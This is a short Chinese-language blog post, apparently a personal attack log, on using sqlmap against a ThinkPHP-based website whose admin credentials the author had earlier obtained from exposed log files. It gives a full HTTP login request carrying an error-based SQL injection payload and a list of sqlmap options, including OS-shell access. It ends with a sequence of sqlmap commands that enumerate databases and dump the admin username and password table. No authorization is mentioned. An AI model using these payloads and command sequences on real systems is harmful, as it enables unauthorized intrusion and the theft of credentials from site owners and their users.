S1xHcL's Blog.

sqlmap 基本用法

Word count: 534Reading time: 2 min
2021/02/01 Share

补充

此文章为之前旧博客内容,不曾想该站还仍然存活,简单记录sqlmap的使用

目标情况

目标站为Thinkphp,存在日志文件

上次通过日志发现网站后台路径和管理员登录密码,成功登录后台

现在网站的管理员密码已经修改

挖掘漏洞

现在登录后台密码错误,但该网站属于Thinkphp v3.2.3二改版本,说不定存在开发人员疏忽的地方

后台页面没有验证码,目前有两种思路:

  • 大字典暴力破解
  • 测试是否存在万能密码或者sql注入

第一种思路直接放弃,可以但没必要

在账户输入框里直接加单引号'尝试,返回Thinkphp debug页面,应该是有注入了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /adminaa.php/Admin/Account/login HTTP/1.1
Host: www.abc.com
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
DNT: 1
Connection: close
Cookie: PHPSESSID=48kl7m02l2m41hc0rnb6brsb02
Upgrade-Insecure-Requests: 1

username=1231') and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--('&password=123456

SQLMAP

SQLMAP一把梭

–current-db 判断当前数据库名称
–dbs 列出所有数据库
-D 指定数据库名
-T 指定表名
-C 指定字段
-r 指定文件
-os 指定操作系统(Windows,Linux)
–dbms 指定数据库类型(Mysql,Sql server,Oracle,PostgreSQL…)
–os-shell 调出交互式操作系统 shell
–sql-shell 调出交互式 SQL shell
–batch 按照默认执行
–random-agent 随机浏览器UA

1
2
3
4
5
python3 sqlmap.py -r 2.txt --batch --random-agent --dbms=mysql --is-dba
python3 sqlmap.py -r 2.txt --batch --random-agent --dbms=mysql --dbs
python3 sqlmap.py -r 2.txt --batch --random-agent --dbms=mysql -D www --tables
python3 sqlmap.py -r 2.txt --batch --random-agent --dbms=mysql -D www -T yh_admin --columns
python3 sqlmap.py -r 2.txt --batch --random-agent --dbms=mysql -D www -T yh_admin -C "username,password" --dump

得到管理员账号和密码

CATALOG
  1. 1. 补充
  2. 2. 目标情况
  3. 3. 挖掘漏洞
  4. 4. SQLMAP